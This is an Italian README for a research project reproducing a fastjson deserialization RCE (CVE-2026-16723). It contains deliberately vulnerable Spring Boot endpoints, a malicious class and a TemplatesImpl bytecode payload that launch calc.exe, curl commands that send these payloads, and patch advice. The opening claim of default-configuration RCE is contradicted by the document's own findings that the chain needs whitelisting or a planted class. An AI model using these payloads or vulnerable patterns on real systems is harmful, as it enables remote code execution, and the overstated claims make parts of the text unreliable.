
Progetto di riproduzione per CVE-2026-16723, una RCE critica in fastjson 1.2.68-1.2.83. Dimostra il bypass di AutoType, l'iniezione JNDI e i payload in memoria TemplatesImpl con endpoint Spring Boot vulnerabili.
Questo progetto riproduce CVE-2026-16723 — una vulnerabilità critica di Remote Code Execution (RCE) in fastjson 1.2.68 fino a 1.2.83. La vulnerabilità consente RCE con configurazione predefinita senza richiedere l'abilitazione di AutoType o gadget preesistenti nel classpath.
| Proprietà | Valore |
|---|
| ID CVE | CVE-2026-16723 |
| Componente | fastjson |
| Versioni Affette | 1.2.68 – 1.2.83 |
| Versioni Corrette | 1.2.84+, 2.0.0+ |
| Tipo di Vulnerabilità | Deserializzazione / RCE |
| Gravità | CVSS 3.1: 9.0 (CRITICA) |
| Vettore di Attacco | Rete |
| Complessità | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
fastjson-cve-2026-16723/
├── pom.xml # Progetto principale (app Spring Boot con fastjson vulnerabile)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Punto di ingresso Spring Boot
│ └── controller/
│ └── VulnerableController.java # Endpoint REST vulnerabili
├── malicious/ # Modulo separato: JAR malevolo per simulazione supply chain
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Classe malevola con inizializzatore statico
│ ├── EvilTranslet.java # Translet malevolo per modalità in-memory TemplatesImpl
│ └── GenTemplatesPayload.java # Genera il payload JSON TemplatesImpl
├── templates-payload.json # Payload TemplatesImpl generato (variante diretta)
├── templates-payload-preload.json # Payload TemplatesImpl generato (variante preload di classe)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 contiene un bypass nel meccanismo di protezione AutoType. Anche con configurazione predefinita (autoTypeSupport=false), gli attaccanti possono istanziare classi arbitrarie tramite payload JSON appositamente costruiti utilizzando catene di exploit come:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (iniezione JNDI)java.lang.Runtime (esecuzione diretta di comandi)@type: exploit.MaliciousClass)VulnerableController.java — due endpoint dimostrano il problema:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnerabile: JSON.parseObject con configurazione predefinita
// Non è richiesto ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Forza la deserializzazione in Object — attiva l'istanziazione effettiva della classe
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Compila l'applicazione principale
mvn clean package -DskipTests
# Compila il JAR malevolo (modulo separato)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR fat Spring Bootmalicious/target/malicious-jar-1.0.jar — JAR malevolo con exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Il server si avvia su http://localhost:8080
Requisito di runtime: questo progetto è destinato a Java 8 e la modalità in-memory TemplatesImpl è verificata su JDK 8. Su JDK 9+ il sistema di moduli blocca l'accesso riflessivo agli internals di
java.xml, quindi la catena fallisce conError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla meno che non si aggiungano i flag--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Il pom.xml principale dichiara il JAR malevolo come dipendenza, quindi è incluso nel JAR fat:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Verifica a runtime:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Previsto: CVE-2026-16723 Reproduction Endpoint Ready...
Il modulo malicious fornisce exploit.MaliciousClass con un inizializzatore statico che esegue calc.exe al caricamento della classe.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Risultato:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
E calc.exe viene avviato sul server.
Nota: Questo dimostra uno scenario di supply chain in cui una dipendenza malevola è presente nel classpath. La vulnerabilità consente l'istanziazione di qualsiasi classe nel classpath, non solo classi JDK.
A differenza della modalità supply chain (che richiede la classe malevola nel classpath) e della modalità JNDI (che richiede un server LDAP/RMI), questa modalità incorpora il bytecode malevolo direttamente nel payload e lo carica dalla memoria tramite com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — non è necessario distribuire nulla di extra.
Passo 1 — genera il payload:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Questo compila exploit.EvilTranslet (una sottoclasse di AbstractTranslet il cui inizializzatore statico esegue calc.exe), codifica in base64 i byte della sua .class, e scrive:
templates-payload.json — variante diretta ("@type": "TemplatesImpl")templates-payload-preload.json — variante preload java.lang.ClassPasso 2 — invia il payload:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Risultato:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
E calc.exe viene avviato sul server.
⚠️ Riscontri empirici (verificati su fastjson 1.2.83): la catena TemplatesImpl non è attivabile con pura configurazione predefinita:
- Il payload diretto
@typeviene rifiutato dalla denyList di AutoType (autoType is not support).- La catena di preload
java.lang.Classfallisce per due motivi:java.lang.Classstesso è nella denyList (autoType is not support. java.lang.Class), e anche il preload diTemplatesImplnelle mappature interne delle classi non bypassa la denyList — il bypass di mappatura dell'era 1.2.47 è corretto nella 1.2.83.- Anche
autoTypeSupport(true)da solo non basta: la denyList ha priorità sul flag autoType.- La catena si attiva solo quando la classe è nella whitelist tramite
ParserConfig.addAccept(...)(la acceptList ha priorità sulla denyList) eFeature.SupportNonPublicFieldè abilitato (i campi_bytecodes/_name/_tfactorydi TemplatesImpl sono privati).- L'endpoint
/api/deserialize-autotypeimplementa esattamente questa combinazione.- Runtime: la catena è verificata su JDK 8. Su JDK 9+ il sistema di moduli blocca l'accesso riflessivo agli internals di
java.xml, quindi la creazione dell'istanza fallisce conError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla meno che non vengano usati i flag JVM in Esecuzione dell'Applicazione.
| Endpoint | Comportamento |
|---|---|
POST /api/parse | Analizza in JSONObject — potrebbe non attivare la deserializzazione completa per tutti i payload |
POST /api/deserialize | Analizza in Object — forza la deserializzazione completa e l'istanziazione della classe (configurazione predefinita) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — scrive campi privati, ma la denyList blocca comunque TemplatesImpl |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — attiva la catena in-memory TemplatesImpl |
Per l'exploit della classe malevola, /api/deserialize è richiesto per attivare l'inizializzatore statico.
Aggiorna fastjson a una versione patchata:
<!-- Opzione 1: fastjson 1.x (consigliata per utenti 1.x) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- Opzione 2: fastjson 2.x (consigliata per nuovi progetti) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// Disabilita AutoType globalmente (mitigazione parziale — le catene di exploit potrebbero comunque bypassare)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// Oppure usa safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
Questo progetto è destinato esclusivamente a scopi di ricerca educativa e di sicurezza difensiva.
- Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta a testare.
- L'autore non è responsabile di qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo codice.
- Segui sempre le pratiche di divulgazione responsabile quando scopri vulnerabilità.
- Questa riproduzione utilizza un payload benigno (
calc.exe) per dimostrazione; gli exploit reali possono causare danni gravi.
Questo progetto è fornito così com'è per la ricerca sulla sicurezza. Nessuna garanzia espressa o implicita.